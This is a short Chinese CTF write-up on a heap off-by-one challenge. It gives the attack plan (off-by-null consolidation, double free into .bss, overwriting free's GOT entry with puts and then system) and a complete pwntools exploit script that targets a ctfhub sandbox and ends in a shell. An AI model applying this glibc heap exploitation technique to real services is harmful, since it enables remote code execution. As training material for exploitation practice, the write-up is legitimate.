漏洞点
存在off-by-one
攻击思路
利用off-by-null堆块向前合并，然后再利用double_free分配到bss段。修改bss段的Chunk的地址为free_got。修改free_got地址为puts，泄露libc地址，然后再修改为system。
EXP
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| from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
else:
p = remote('challenge-b670d1edadf87c92.sandbox.ctfhub.com', 27458)
elf = ELF('./pwn')
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
libc = ELF('./libc-2.23.so')
def add(size):
rl("Choice:")
sl('1')
rl("Size: ")
sl(str(size))
def delete(index):
rl("Choice:")
sl('3')
rl("Index: ")
sl(str(index))
def edit(index,content):
rl("Choice:")
sl('2')
rl("Index: ")
sl(str(index))
rl("Content: ")
sl(content)
add(0xf0)
add(0x68)
add(0xf0)
add(0x68)
for i in range(18):
add(0xf8)
add(0x70)
delete(0)
edit(1,'a'*0x60+p64(0x170))
delete(2)
add(0xf0)
add(0x60)
delete(1)
delete(3)
delete(2)
add(0x60)
edit(1,p64(0x602110))
add(0x60)
add(0x60)
add(0x60)
edit(23,p64(0)*4+p64(elf.got['free']))
add(0xf0)
delete(4)
edit(5,'a'*0xf0+p64(0x200))
delete(6)
add(0xf0)
edit(0,p64(elf.sym['puts'])+p64(elf.sym['printf']))
delete(5)
libc_leak = uu64()
lg("libc_leak",libc_leak)
libc_base = libc_leak-0x3c4b78
lg("libc_base",libc_base)
system = libc_base+libc.sym['system']
edit(0,p64(system)+p64(elf.sym['printf']))
edit(10,'/bin/sh\x00')
delete(10)
inter()
|
